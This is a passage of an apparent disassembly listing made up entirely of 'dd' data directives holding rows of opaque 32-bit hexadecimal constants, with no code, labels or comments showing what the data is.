		dd 0BA57EC3Fh, 0D0FFC38Ah, 0C0279C29h, 4005F100h, 59732484h
		dd 3A8FA00Ah, 74C200C9h, 52FFD55Bh, 0C400778Ch,	251B6740h
		dd 7E07D94Bh, 6E961C8Fh, 0AD7CC0E6h, 6D29D33Ah,	0CC78FE01h
		dd 7579F391h, 324F3880h, 0D4A06094h, 6128FC00h,	277ECF8Eh
		dd 86B30095h, 0F0DD253Fh, 40F9BA66h, 96DC78F0h,	690C2707h
		dd 0E04EA7ECh, 1768A451h, 59B400E4h, 242B477Dh,	2800C484h
		dd 0D106C27Eh, 5096FB8h, 64867CE5h, 0F680008Ah,	1A9EECFh
		dd 603A6CEAh, 53A481E4h, 0B40A6761h, 62DCC8h, 3D43C636h
		dd 0DDFE63C1h, 812488CEh, 0E2952C81h, 72B4AECh,	2291BC89h
		dd 0DA5F705Ch, 0A00A24Dh, 64ED8CD0h, 74E6318h, 0DC86E4C3h
		dd 0CBC44094h, 6E3C6C9Dh, 0A6C90013h, 69E66AE3h, 412E0050h
		dd 673E8FCFh, 450068D4h, 907D927Eh, 538DDBh, 649FA0E4h
		dd 43FE6141h, 0EB453E00h, 7737A23Fh, 5FF5076Eh,	60138627h
		dd 0CA180AC2h, 8833D200h, 0B2F197F2h, 19C40168h, 0BCC9F38Eh
		dd 0B94F20ADh, 8CA0B6E6h, 0D4F036BEh, 41232D01h, 977AB29Ah
		dd 6367D041h, 4EBBC450h, 0D4F1001Bh, 3D561A8Dh,	45386976h
		dd 0F88A9DA3h, 0E2D00440h, 0DDEB51h, 0CCDC7FFDh, 27D78DB5h
		dd 61887700h, 33FC6B45h, 2BBC1D94h, 0A4E00F9h, 0BDD3C1DAh
		dd 0F08F9A00h, 0A20E19DFh, 654303E2h, 45468D0Bh, 63FE2BF8h
		dd 0DC022770h, 0BCE069E7h, 0EA084050h, 236C00D6h, 6FCEFB0Eh
		dd 8F008832h, 2611788Dh, 481451FEh, 1849FDE4h, 0E2A70A0Bh
		dd 0DC013F0Bh, 0C09E8D33h, 0C48C0BCh, 0BE290003h, 6A89B93Fh
		dd 18B60158h, 2C30DAD2h, 427080EDh, 0ABBE3DF1h,	0E318B07Ch
		dd 0F6F4FF8h, 5CDC5378h, 8D655520h, 0A40434C8h,	0D27B49E4h
		dd 0FA475090h, 9888145Ch, 0B111B027h, 0DC0200DAh, 0C1680F91h
		dd 7E6D1388h, 3A5C00F7h, 0C36C238Ah, 972E7700h,	83382BD2h
		dd 0F46F00AEh, 65F66A46h, 0EE00A005h, 0F3F593FDh, 0E0413Bh
		dd 0EDC3079Eh, 18B4E676h, 123E9400h, 0FFCDDC39h, 68E039A6h
		dd 0DB366B00h, 181AC013h, 0C60007F8h, 78C3FDD9h, 1F06329h
		dd 83727AC7h, 40576EB7h, 0E3C501FCh, 0A1E58000h, 0AE495C87h
		dd 2B3A0B2Dh, 2600F98Eh, 4E648561h, 0EF775504h,	74C7B57Fh
		dd 3C9C8BE0h, 0E41B58D8h, 80F16115h, 9F3B1A38h,	460516FDh
		dd 194D0ED2h, 7511EBE0h, 401F4A80h, 7D99F9h, 7FECD0Fh
		dd 145A51h, 1BCEF293h, 0C6242A8Dh, 985EAC03h, 0E0DA7CFFh
		dd 7854B2h, 0BD6028B3h,	6C012DAAh, 35035DFEh, 0C83B1188h
		dd 3DE0D72Ah, 3F0F6h, 0B240D405h, 9F09C344h, 0A27D009Ah
		dd 6709C4ECh, 7DB1950Ch, 0E5DBB080h, 0A900AA6Fh, 89252B83h
		dd 4B8CA7h, 0D66117D8h,	905086CAh, 0A5847C00h, 47BC97ACh
		dd 0C291C0A6h, 0C05ADDD2h, 0E1449001h, 226D82B0h, 199FDE4h
		dd 4368EAAFh, 20BFE5E8h, 2300E73Ch, 7E488EB3h, 4C179Dh
		dd 49ED1659h, 53565187h, 0EE5D29C0h, 9257C1D3h,	3FC0078h
		dd 0C8F7EC41h, 593B88CDh, 0C9A61275h, 0D38D1400h, 0B418D4h
		dd 43E733ADh, 5D45099Ch, 0C0FEFB8h, 8055FA9Bh, 0B2CDCFD0h
		dd 0D4353DECh, 69B89F00h, 0C3F03E4Ah, 500A3200h, 0C4086A1Eh
		dd 0AFD2050Eh, 90C0F72Ah, 0DF9E8398h, 990A4B00h, 1B063FFCh
		dd 3AC6008Ah, 0DC4C2759h, 0FB05FEBFh, 5DEBB0C2h, 0B172C881h
		dd 0ADA2F8h, 1B0EC901h,	0B6577F13h, 0FC773B00h,	741F3D1Ah
		dd 0A5A91CDEh, 0DDB20018h, 10CDF4D6h, 322D250Fh, 0E0401DDCh
		dd 2AC99536h, 5FE8008Bh, 43908A72h, 8C035434h, 3AABE6B2h
		dd 12A1B89Dh, 68133ACEh
		dd 78D6AE31h, 0B36ED03Bh, 10614B00h, 0E9F98CCFh, 3E90AAh
		dd 85A441C2h, 12B7573Fh, 6689FA09h, 0CA8A3BDh, 9108E08Bh
		dd 0CCC23C29h, 0DE1A7D00h, 0CE64B622h, 40CA9B0h, 326AE45Fh
		dd 0F29E01D0h, 0E0DDE253h, 0AB19E017h, 56847702h, 0E826E6A0h
		dd 3D6EE780h, 0ED800FD3h, 375786BEh, 3400789Ah,	284BEAA6h
		dd 0FE382AFh, 0F09D1647h, 0F4EDFA0h, 4800B994h,	63238EADh
		dd 0FC38A0C3h, 4C92FE5Ah, 6400282Eh, 0B6318924h, 20907532h
		dd 5FD3520Eh, 0B9EE81CEh, 5834D63Eh, 0C0E6775Ah, 0F90BBC91h
		dd 8CFA27Bh, 18B6AD67h,	80F0BBE1h, 0D8E200F0h, 0C87E912Fh
		dd 740E859Eh, 20180EEFh, 33EA9098h, 1DE8125Bh, 0A1F100D0h
		dd 5FBB5126h, 0D3199400h, 0B3818C6Fh, 405350BAh, 8823FAABh
		dd 0C9FA053Ah, 0F9E3A00Fh, 0DC12E150h, 5AE45FA3h, 293F6013h
		dd 76F9C234h, 0E648B863h, 0DCC0C03Ch, 62E70086h, 44383EA2h
		dd 350009F1h, 6A639302h, 0FED0D7h, 17EE3AFFh, 0FCD9A1C6h
		dd 268FFD00h, 4A896B65h, 0FFCF0052h, 8A4E3C14h,	0E000EED9h
		dd 0EAF37CE1h, 853745h,	7E93AB2Dh, 0CAA38D14h, 0F9B4081Eh
		dd 199E5B81h, 3BDCFB76h, 78FA0F0h, 3AEDF07Dh, 919D574Ah
		dd 0FE0D40DFh, 0EB8D76A3h, 0ABCFF500h, 9CECDA94h, 81593C42h
		dd 0A1EDFD80h, 2087A931h, 6B91BD00h, 72FF75B6h,	806A00D3h
		dd 40701E2Ah, 0AB00F337h, 881FF18Ch, 4720D7h, 51E8A1C2h
		dd 8E8D91A8h, 8B99AA01h, 61AD8467h, 9F056B28h, 5E8AEA3Bh
		dd 82B20EC0h, 0D001789h, 68D575E1h, 72F1B700h, 22DC93ECh
		dd 181060AEh, 664A92A6h, 1E18C03Eh, 607A1FFh, 5881C3C2h
		dd 6EB9A1Ah, 56103B28h,	4A0061B6h, 2A92C9BEh, 36ECF3Dh
		dd 0ED67B52h, 67806BD5h, 770A2E22h, 0F093E6D7h,	2812818Ch
		dd 8A0A846Bh, 0E4628F56h, 61347F01h, 7881B912h,	93240FD0h
		dd 1CD1A182h, 1988378Ch, 0C07F609Dh, 18C686A7h,	0D098AD6Fh
		dd 4E42DC81h, 2CC0A8DDh, 5C21EE68h, 6E984454h, 7E318C00h
		dd 48A7CD6Ch, 881705B6h, 9014020Fh, 4F94BF40h, 0ECFF7406h
		dd 79380E52h, 835658DCh, 0F036230Ch, 10088B1h, 0E95DE8A0h
		dd 3ACD8C4Ah, 1B246B8Dh, 510C18C4h, 31CFD936h, 946463C4h
		dd 9824E0DFh, 18DC60C9h, 0A6E3D0A1h, 3F2820FBh,	0E552ED18h
		dd 3F3EA779h, 0A60F79BCh, 6FF1112h, 0E9751A6Eh,	48288AF6h
		dd 53B9889h, 65F100A2h,	333DE4A8h, 4A7CD1h, 58BF072Dh
		dd 922486D6h, 6F79CB60h, 0A1D58822h, 0BC166B24h, 0D736BF00h
		dd 0B39EE348h, 376828CFh, 78FD0A64h, 3B79BF8h, 935A135Fh
		dd 21E00830h, 5F88098h,	9FDBE7D4h, 18678077h, 0D4FD1C0Fh
		dd 0BBEC5146h, 0CE4C2879h, 278A00CDh, 0F61E943Dh, 0CFD8A054h
		dd 5816488Eh, 0E90211h,	687FE283h, 26171D8Ch, 0A87C1338h
		dd 6ED44070h, 5DC73A00h, 2334D573h, 0B8773DA1h,	20AA3318h
		dd 2C1463DDh, 0F120A8CFh, 881959D0h, 20B67E20h,	26D4684h
		dd 52A0F87Dh, 10E23163h, 0F88597h, 5E3F43A7h, 0BECEF51Fh
		dd 0F0D01A36h, 3A6F06C8h, 60C60A92h, 0A07FBA00h, 0A775A155h
		dd 24ED0027h, 0CCD976ECh, 79C181BFh, 37FDDB5h, 0DF00C1BCh
		dd 969310A5h, 3F33B399h, 0E5097Eh, 10ADBF21h, 1DA8C2E0h
		dd 3A262902h, 0FF3DE6h,	2B029247h, 1E93C405h, 0C0542CB2h
		dd 85A422D8h, 60E9C47Ch, 0B14EEC67h, 4AF4005Ch,	363C3A64h
		dd 2CD3EB28h, 7A096E46h, 0F8899F8h, 40E4442Ch, 0F3F88296h
		dd 0DCCA3A7Dh, 4FCE1E0Ch, 0AE5C46B0h, 39AC4085h, 3BB4DA0Ch
		dd 8C6A60FDh, 0A5F87605h, 5C288B52h, 0F87E019Ah, 0EA4A5082h
		dd 0A03C20DCh, 0C8493A7Fh, 9F523A10h, 9D077094h, 0E181CC7Eh
		dd 4180EC35h, 0EA625E19h, 382C911Bh, 0EE05756Ah, 88812E27h
		dd 8434574Eh, 18B7883Bh, 5AF3D803h, 0A7B16C97h,	85922B71h
		dd 0E4C8BC4Fh, 8BB61AC0h, 0B17066h, 50B8EF61h, 457E9CD6h
		dd 0FD39D302h, 68B353ECh, 3062A278h, 0B7E0B5BEh, 5B1E734Eh
		dd 9092CCBDh, 49F2040h,	1409D6Dh, 7F9A9219h, 7003D145h
		dd 20B25A8Ah, 0CE186974h, 0AF11D035h, 0A3540092h, 0D9F36746h
		dd 8CC7F4Eh, 18E21C3h, 0C88F546Ah, 44D1B9D6h, 578009DCh
		dd 80704C06h, 784ED045h, 60C0E888h, 2C07488Dh, 303C5A41h
		dd 1F950E0h, 2CD8FB28h,	0BC028446h, 41969410h, 0D810E731h
		dd 621C10A4h, 6A1DF5F9h, 0F4070480h, 64CEDAFEh,	6085507Dh
		dd 249510BFh, 70CC4996h, 1000A7D1h, 4A6BC2AFh, 0B056E379h
		dd 58440A68h, 5C503D28h, 0F04E846h, 83958587h, 5059D338h
		dd 6FF1000Ch, 927B0B54h, 2128981Dh, 8111DBC9h, 9110A380h
		dd 34A5A996h, 10ABBD07h, 7042B520h, 6F61F9Bh, 1CC424AAh
		dd 0BBFB40CCh, 517EF184h, 0A6676812h, 0BA9D7001h, 4060D1DBh
		dd 1809189h, 457DE548h,	0BC2089D5h, 0F3900359h,	3C204CD1h
		dd 8CE1E8h, 773D7209h, 31DB690Eh, 0C86CB049h, 0CF6929Ch
		dd 4FB840E8h, 35FDB31Bh, 10429420h, 5848D559h, 0B224AE48h
		dd 1DE454E7h, 108DC408h, 0E6E08953h, 94FD5DE2h,	0E7AD2578h
		dd 0A75B8C21h, 0D32C6018h, 0BA66F972h, 72212F09h, 0B018027Bh
		dd 9E628AA2h, 4CEC5C40h, 0F59259DFh, 11B53848h,	10A08080h
		dd 91A19690h, 0A8D4C360h, 0DB202000h, 1E8C9ABCh, 803C5136h
		dd 25F03C59h, 35EA18DCh, 0E11CD1EDh, 2FD2F000h,	0A21F6B34h
		dd 0FA8F0293h, 0FBA0C14Ah, 0F6266C64h, 467CECCEh, 0A2F200FEh
		dd 0D41A140Fh, 75D5024Bh, 0C7BAE2D2h, 46AECCA4h, 39EE36h
		dd 5B437041h, 392EBB27h, 5888DE1Fh, 3E575D82h, 6DE0E184h
		dd 56745829h, 0A602C4AAh, 0CBA27618h, 0CE7A001Ch, 62A0A918h
		dd 1383D112h, 1AA43C58h, 0F01FBEA0h, 34822D11h,	34C0E525h
		dd 0A280DF1Ah, 0C5AB263Ah, 0D69062C4h, 0F0228504h, 4E04CC1h
		dd 8340C497h, 86675610h, 9402A846h, 0B746BD54h,	0F017C431h
		dd 0A21B546Ch, 325B760Ch, 0F81A19C6h, 0BB778A1h, 88F18958h
		dd 0C8457801h, 0AC84DE34h, 23A14344h, 403BF533h, 813FB923h
		dd 56951574h, 7ED00BE3h, 4C48480Eh, 3CFBA800h, 15C708F5h
		dd 39A73232h, 0A8D493E6h, 0BFE96Fh, 6EECABE7h, 8FAFA33Fh
		dd 451C300h, 94631F7Ch,	0AEA20218h, 0FDF36EC1h,	7E100064h
		dd 7F00523Ah, 19B7CD6Bh, 0EC0075C2h, 148C9B9Eh,	9CA7916Eh
		dd 50B100CCh, 663AA5FFh, 813F9494h, 0ECF4C4Ah, 0A6C4F3D5h
		dd 5636C475h, 763CB1C2h, 18E80C4h, 4A90226Fh, 0A9C044C9h
		dd 0DEE0717Fh, 0FC0840F6h, 0CEEA04E9h, 0C2F28EAEh, 0E4690C44h
		dd 8D1BA8Ah, 0A642C06h,	9C9027E6h, 8750076h, 0AFFB0935h
		dd 8642BB38h, 0D4AEA646h, 0D9472E48h, 60696438h, 239CF879h
		dd 0E3118352h, 0F8819B00h, 0D5284FC9h, 6251073h, 37CA001h
		dd 137FEDh, 0F44AEAD7h,	14F971Fh, 0F5DD3309h, 919C1780h
		dd 712E8057h, 1A33474h,	0A9D44D94h, 82D79024h, 0EA1A5291h
		dd 0BA9040D9h, 1DA10408h, 879DA4EEh, 90C0484Ch,	4646A154h
		dd 0FEC22297h, 87540068h, 1D3FA012h, 9B02DAC4h,	25F650E2h
		dd 0FF9C81FCh, 302DC646h, 480F52C8h, 0D3D9E6FBh, 41EEF699h
		dd 0E887300Fh, 18C1310Eh, 0A79704DCh, 0E42074B7h, 84204753h
		dd 0F2603D09h, 0E1409E4Ah, 0C00F5402h, 985307A9h, 0D09497E4h
		dd 9D23FF83h, 0F1F2BF00h, 0B33A22A7h, 68CBAA8h,	4A62420Fh
		dd 0EEEA11D1h, 3934EB4Dh, 0E7B0D437h, 0E1B67B17h, 7F70DA00h
		dd 94F41Dh, 0EB1CEC9Fh
		dd 4ECE06FDh, 6E1D4090h, 661851BAh, 0A8BF3238h,	847AACh
		dd 6F92824Bh, 4164D7F6h, 0BFE84001h, 16EB2751h,	6CF2993h
		dd 91BA52BCh, 0CD25BB06h, 21C032h, 0EECADF60h, 138CB638h
		dd 713F0A1Ch, 9546700h,	0C81D5Bh, 84EA589h, 9FC55696h
		dd 1E3606E8h, 518A026h,	9B429864h, 0E2748836h, 0F9005273h
		dd 0FB3E275Ah, 0EEFDC2h, 0EFF4E5BCh, 0E671307Dh, 75F2BB00h
		dd 804A68F3h, 6D4E0BA1h, 0A80225D3h, 0CC0343BEh, 0E65980F4h
		dd 7E96393Eh, 32794A30h, 0DC066522h, 0BB560F3Bh, 0BE4609D1h
		dd 2C03ED3Eh, 911CF736h, 65405CE9h, 4C60EC69h, 52B60064h
		dd 7C31C6D5h, 4CB822DCh, 398A4233h, 0D307D4B2h,	0DD17D04Eh
		dd 6C000119h, 47527F58h, 74578Fh, 0C20CCFF0h, 0C7F2D4B8h
		dd 5C003E7Ch, 6DE002B5h, 895F46h, 9C472057h, 42FAB270h
		dd 0E61AE300h, 2CF6CA07h, 0A3610927h, 8500AE7Fh, 92D65147h
		dd 0CFC4FF00h, 225ACA83h, 807EA3h, 6EA9CCDAh, 89057EE4h
		dd 0AE29BF00h, 2F20F67Fh, 686260E7h, 0D0A9B58Fh, 0AAB4DF00h
		dd 49E529E8h, 7D323C0Bh, 361BA500h, 0F9553DC8h,	0A0B08A6Ch
		dd 51613F1Ah, 0D6E52B80h, 928038B5h, 183A1305h,	988722B2h
		dd 9076DC0h, 0B9BD0116h, 269471CFh, 6A308064h, 0D2500453h
		dd 740E200Bh, 568B3118h, 1C87D61h, 15FF65A0h, 0FC49D6FDh
		dd 3B00EC37h, 0D228E805h, 0E30203h, 0B0DCF0B7h,	238C0F54h
		dd 0DA81FF0Ah, 8B8CB84Eh, 4CC25158h, 382C2848h,	781D0EB7h
		dd 603FB4D5h, 8E00CB3Bh, 0BFF7172Fh, 0C40061B2h, 1551331h
		dd 784380h, 919881E0h, 421273D1h, 8AF6B0C0h, 58F10Fh, 46F3BF20h
		dd 930C98B0h, 0F4BD1F00h, 0B222E35Fh, 6A710082h, 0D4BAFF5Dh
		dd 0B10FDF4Fh, 3FBAD65h, 0C0DCE560h, 0E42EBD0h,	0B4E8329Ch
		dd 0B949FE20h, 4F06AFE9h, 0BF9FB058h, 21076008h, 85B9B1F8h
		dd 9DA25400h, 6024204Dh, 672B03B2h, 8FCF32BDh, 0B05E581Ah
		dd 11301730h, 0FCB880FAh, 0F89BFB4Fh, 5DD0738h,	63EF6575h
		dd 280EE296h, 0B71AE81Eh, 11799E0Ch, 71150094h,	120FFB4Bh
		dd 706633FFh, 219108h, 0B071ED3Dh, 0AD6A7687h, 24CF9F01h
		dd 2A9A0774h, 6FB9D8C3h, 0B6E719EBh, 0C71E1004h, 89B09CD1h
		dd 54B440h, 0EBBF4B9Dh,	3778199Fh, 802908F2h, 3EEF7721h
		dd 829D4Ch, 503C3F53h, 33C20179h, 1D8C8C50h, 57CF7218h
		dd 18CD85C8h, 0A17CD628h, 6603920Eh, 0EA5C296Eh, 30E06738h
		dd 1009863h, 6CED49FBh,	70F21D03h, 5745C023h, 0F54DDD11h
		dd 1B30400h, 0E96EB9F7h, 78107CAh, 73EE6FD0h, 0D4C8982Dh
		dd 781E86EDh, 0F1C1C85Ch, 41D10965h, 617EF0C7h,	0D3EC017Ah
		dd 771F06A8h, 0FCBFC971h, 0CA00E328h, 0C61C4A20h, 4C019311h
		dd 87008303h, 0AA5B64DFh, 0DA00ABB2h, 0EFE24AC8h, 3D2A4C20h
		dd 7307A290h, 86442371h, 0C21B1809h, 0C020290Ch, 0A04D50ADh
		dd 90B2BB18h, 39DC00B7h, 88328F51h, 6E0060D8h, 765BABAEh
		dd 3C875ACEh, 4E2B9AE3h, 3D24814h, 2F6D9F02h, 0FB7948h
		dd 1281F431h, 6BE472h, 53038B8h, 26CE2877h, 47A529C0h
		dd 0CED54CAh, 1244F8AAh, 76267019h, 893A75E1h, 0C2E9262h
		dd 6088C92Ch, 0D127E122h, 0C001664h, 3DDCC1E3h,	769A47B4h
		dd 0A19F0693h, 50A56B95h, 9D72FD00h, 2DB17E5Ah,	240C91Bh
		dd 0E3A4005Dh, 0F50A7EAh, 0B995DA0Ah, 8852C19Dh, 80A68A63h
		dd 4BA55418h, 0F2F29478h, 1ED7332Bh, 40B5B2A9h,	0FE99E2A8h
		dd 93009D65h, 0A4693C6Eh, 0F18EAFDh, 0ACA02CD2h, 0B54FD600h
		dd 60602601h, 0C4D33BA0h, 0FE070188h, 0EE2EFAE9h, 4CEB6090h
		dd 7D020800h, 0E4E8D621h, 8C860EECh, 0CF6A2F56h, 179A9DB8h
		dd 0E430003Bh, 511CA4E5h, 4103868h, 4C9A61F5h, 1910803Ah
		dd 58E756E1h, 0B0B40093h, 45918ACBh, 0A707552Ah, 0FA88539Ah
		dd 5A041AC1h, 202229B8h, 628BEB7Bh, 61092904h, 2F210C24h
		dd 10AB122Bh, 0D8896571h, 2284DC08h, 3B229B7Fh,	21442089h
		dd 84606500h, 1D5CEC48h, 0DFB2007Bh, 24F7F9A0h,	8800ED4Fh
		dd 0BB80CCA8h, 0AAFA7Dh, 0BACD7A0Ah, 384F0478h,	9E890100h
		dd 30A9A686h, 16FF0029h, 0C86031D9h, 13005DF6h,	6AE905EBh
		dd 0BE29ED0h, 5230F4EDh, 88A31D01h, 0E4B4E15Ah,	7703AD35h
		dd 2EC346F5h, 8071D041h, 349000CBh, 98236E9Dh, 2F011C5Ah
		dd 56A7CEA1h, 3C246331h, 8C2B0091h, 99FEEB18h, 0D138A636h
		dd 9F4B004Fh, 9E1CD424h, 0D0633E5Ah, 0E690D900h, 0DEA8EA65h
		dd 50D60B00h, 0E49542C9h, 113400ABh, 1D577A1h, 8B0D838h
		dd 700273FCh, 53C4A0CEh, 6CFC88A9h, 309DD140h, 273F3C09h
		dd 47C52A80h, 0CFCB3C67h, 1C5F4000h, 2B6143AFh,	46E63E3Dh
		dd 89F30D80h, 0D0740992h, 88AD7900h, 67C01648h,	4A3A3ECBh
		dd 6083B3B8h, 0C7D00ABFh, 0CFF87EC3h, 110E40CAh, 0E031D612h
		dd 3D10412Fh, 0A1A30145h, 2749444Eh, 0A6D0CFACh, 68002AEFh
		dd 6CCB72C7h, 2B33571h,	6B1ED0B5h, 61C05655h, 381F77C6h
		dd 0EBB48E0h, 0C08116B9h, 0AB6D231Fh, 934300E7h, 0C15B609Dh
		dd 4A00958Dh, 0ADF12EAh, 3855090Bh, 0B80013B2h,	48FAC3E7h
		dd 0CE00AA99h, 0FCBEB53Eh, 0DD6F71h, 983852A4h,	288CC8A7h
		dd 1F01997Ch, 35DC12AEh, 7660813Ah, 1C0F71C4h, 403E7EA4h
		dd 0E8CF467Ch, 5300BC8Eh, 0D645786Ch, 4F1CAD9h,	0BBECC459h
		dd 9C34904Ah, 1207162Bh, 61DB06FEh, 89B2AE90h, 437051h
		dd 0EEEAD634h, 0D081023Eh, 0DF00E4EAh, 6D89291h, 0FDA035h
		dd 33E2082h, 2AF6A378h,	7B5D2B00h, 0A0E92858h, 1DDF0039h
		dd 8D41B0D8h, 709D5FCh,	80C04483h, 2B114600h, 0B0DC1FF7h
		dd 0BE8F8ECAh, 1604E7E9h, 0B20080D0h, 373D11C8h, 94AA80A6h
		dd 0F5445448h, 0F039097Dh, 1420C647h, 831BA9E5h, 6F904303h
		dd 0C953B3h, 0E8DBC018h, 5AA905D4h, 0A6DD7100h,	23F4FACAh
		dd 0E9590437h, 808F2FA7h, 0CE10843Ch, 0EB545700h, 16706334h
		dd 0F85B3F9Ch, 0B0E843A8h, 94B8003Eh, 0B66812FCh, 0E507C44Ah
		dd 126586Dh, 7B90559h, 4DB11CC7h, 0E03AF6CFh, 0F1022F6Dh
		dd 84DBC5F3h, 0AA7C6054h, 0DF85003Dh, 9135D09Fh, 270019D9h
		dd 2BB84CFDh, 2CCF7Fh, 47A8A743h, 9E3B7915h, 0DE102F00h
		dd 0E05C3624h, 0E5B5004Bh, 0B608BADFh, 5F790A9Fh, 41A40B00h
		dd 0D5E8922Ch, 0C5FA00C1h, 5B3A6DDCh, 0C00BDB1h, 50A9AF0Eh
		dd 3C2A7243h, 4C00F0C8h, 4E0DF37Dh, 5800B355h, 0E50A0EC2h
		dd 347EF80h, 7C3D1814h,	0EAB44BE1h, 8E5287h, 5DB52735h
		dd 3F441319h, 764800DEh, 2FB4B31Fh, 494610C7h, 6278C3B0h
		dd 0C55B02FDh, 4F47338Dh, 0D8A589C1h, 7FE22816h, 0D5761B05h
		dd 0C93DC8Bh, 0A65FF965h, 9AC1830h, 8D72E54Ah, 301FF400h
		dd 0B200DF6Dh, 0D62EB7DDh, 86BA54h, 0A0258F29h,	67341ADCh
		dd 36896E00h, 807EC993h, 0C0241CDBh, 5472003Ch,	52047BC5h
		dd 0DC67C300h, 7419FBB9h, 3090A4h, 4C782F1Fh, 6C65183Dh
		dd 0EE570C0Eh, 735660E0h, 67FC84h, 30B88D9Dh, 0EADB948Eh
		dd 1063F500h, 0DAB9C0F4h, 0FDA90038h, 4EB21C86h, 0DC00A56Eh
		dd 0F0A8C562h, 67A78Dh,	5236BB2Ch, 0B9CEF8FBh, 17F2AA01h
		dd 730434B3h, 4080A2E1h, 69BABFAh, 84007237h, 0BFBD1239h
		dd 0F1406Fh, 88471FFBh,	4FA3291Bh, 13755303h, 901AD724h
		dd 0E9A69Eh, 719F2789h,	0E520B14Eh, 59B22900h, 0FF09176h
		dd 0AA401683h
		dd 9E3D8384h, 1EBC2DB8h, 29346100h, 0FBA26A2Ch,	88B80047h
		dd 78FD4E3Ah, 74002699h, 0BC95B087h, 140B6Dh, 8B0F0AD8h
		dd 0C565E204h, 5EB8191Ch, 3803D126h, 0C8F7C6BFh, 0F0EF7E76h
		dd 90B4000Ch, 284C508Ch, 0D3002CA4h, 0CCF87FEBh, 13967552h
		dd 0D81157h, 3817CA44h,	3A00A624h, 6E78F8Dh, 0B44C23h
		dd 0F8E8F77Fh, 89B8C794h, 0E6B64A00h, 86DD520Ch, 0CBE0E3D3h
		dd 94EC01EAh, 5CB9F90Fh, 8A40D497h, 8323CA00h, 0A84F6F1Ch
		dd 5F8B76Ch, 0FC95E200h, 0EDF89047h, 711000B9h,	0F0653EFFh
		dd 7076703h, 60EF9544h,	92D1D2B0h, 49F6E6h, 0A4728C16h
		dd 2DF27B9Bh, 31023001h, 5632440Eh, 7A92C821h, 4B80FF4h
		dd 0A9EECAE0h, 91397F46h, 6BE280EDh, 0E1D72E8Eh, 78B14864h
		dd 43811900h, 0B90597B6h, 8E0092EEh, 0C24A152h,	204ACFh
		dd 68D6E361h, 0A055AE9Bh, 0B4570700h, 33CD7DA9h, 3A030025h
		dd 0D52FDBB0h, 3B00698Dh, 0FD6046ECh, 7C2AD7E9h, 21BF0099h
		dd 0AE4CAC23h, 3000E2FFh, 39778543h, 795F4AEAh,	0B61A002Eh
		dd 0BDDE7F1h, 2648687Ch, 0F4777E7Bh, 84510200h,	0B667D6CFh
		dd 7FF3138Ch, 0C39E05ACh, 3B04800Ah, 2300BD1Ch,	0B709E5A9h
		dd 20427Ah, 5CC6CB37h, 0D0192E32h, 80DECC38h, 0E8C0335Bh
		dd 7E45643h, 8A10238Eh,	5C1140A3h, 1B0004ACh, 8443AEC4h
		dd 0E726632h, 0A655ED83h, 0DD2973E0h, 457F3ABFh, 313C8A01h
		dd 0B80A5D91h, 0FEF1D1FFh, 0F80619F4h, 302307D8h, 1ED8E7Ch
		dd 0F4E44803h, 0A371A20Dh, 0B8BBA52Ch, 807C5001h, 0C0C6E054h
		dd 3CB66F4h, 5933FDB4h,	0C4F8791Bh, 0B7036CA7h,	0DED635F1h
		dd 9326D876h, 342300F8h, 0F2B29DFDh, 6C58ADA2h,	0F412168Fh
		dd 0C2D4B802h, 0B80E641h, 24FCB8D2h, 2B4C7810h,	4E102900h
		dd 3403EE7Ch, 417939B6h, 0D24DFE00h, 8AC58670h,	0EFE69C00h
		dd 62156F4Fh, 82110FDDh, 2620F376h, 21BB3BB5h, 0B694C704h
		dd 0A4D0B0EFh, 0FF75CDh, 0F5F15642h, 672D8ECh, 0C8625C00h
		dd 1E8E1797h, 0FA1279AFh, 0EE800DAh, 6B5F1FCAh,	0E0749172h
		dd 3B00BF7Ah, 4A70EC82h, 90EEFEADh, 3641002Ch, 0F45E2A12h
		dd 0D49887C1h, 49C4D407h, 83C10C5Ah, 0CACD4FEEh, 76F81271h
		dd 0E4A13C70h, 84069100h, 92DDAB34h, 7C4F8A0Eh,	0FC7F40DFh
		dd 0DEB3FAh, 551BC7A5h,	6FF184AEh, 0BB54EF00h, 1134E581h
		dd 127E71DDh, 73E57F9h,	0E0B417E4h, 0B931433Fh,	2BB6CA02h
		dd 0E0B0D5ECh, 1371677Dh, 8EA10Ah, 5F4BF254h, 1A001D69h
		dd 977EDC2Bh, 3A3356h, 0C920245Dh, 0B9B42D9Fh, 7AF37800h
		dd 4F12C283h, 0BB3200CEh, 36D479Dh, 0E00EDEEh, 0EC9829BEh
		dd 23F23F6h, 0E1E592FAh, 68CB010Dh, 754B5FE8h, 9C848700h
		dd 2D7E833h, 0B0B548F5h, 82571000h, 8F796D08h, 966CF705h
		dd 0D8904BFFh, 7E748789h, 0F5E90082h, 0C9105D33h, 8848A9B8h
		dd 81AD25C5h, 2513E6A8h, 0C1277180h, 1BEDC5ACh,	190CE458h
		dd 0B4789753h, 625DECh,	0F0D91210h, 0E26007C1h,	67970406h
		dd 40526Ah, 7AA6F784h, 88B04746h, 0E4AC506h, 386D9Fh, 1C8F8341h
		dd 90545FD7h, 5B1A750Ah, 1830B3E3h, 35BDA2h, 807F5E06h
		dd 0E827AE42h, 0E28CAB00h, 3ED2847Ch, 96B09A1h,	4461262Ah
		dd 458C4117h, 0CCE2C890h, 0C0F2100h, 50628A74h,	60D2F5DAh
		dd 0C746ABE8h, 5084300Eh, 44789CA5h, 0E7773928h, 0E0496807h
		dd 0B4D36665h, 0B000B588h, 0F65C3ED4h, 1C3C9CB7h, 743C08Ah
		dd 1BC5B831h, 9ED0C800h, 7F1CA79Dh, 75A30393h, 5611221Dh
		dd 0D54A4000h, 903CDD84h, 0A89A0CF2h, 0B1681C28h, 8E0AA377h
		dd 0C42303E4h, 89149485h, 9CCDA443h, 36190012h,	9B0AB10Bh
		dd 18000CC1h, 63894AF3h, 1CB3BFh, 1DAD0F86h, 0FA6C8B48h
		dd 99843F01h, 5A834052h, 66009828h, 26459C2Fh, 0B49287A9h
		dd 63ED303h, 0E038D59Fh, 11FB3DCh, 0FF904209h, 30555CC5h
		dd 9629EDD6h, 14148060h, 3BA2F024h, 0C7CB0020h,	0B35DDA39h
		dd 243822A0h, 809C3866h, 31D43EE3h, 1CF5EF85h, 0C3CF730Bh
		dd 0AD939FEDh, 26C56106h, 1F83D18h, 740664Bh, 642AC2B0h
		dd 1301E428h, 0AF97A1B3h, 3F4E8D1h, 0F47A007Bh,	0DD833C35h
		dd 0F309B40Eh, 84235C41h, 90D013DBh, 9AE0B3h, 773B8129h
		dd 3793D46Ah, 7E164203h, 0A7CE2757h, 0D6098A51h, 4CF8FECCh
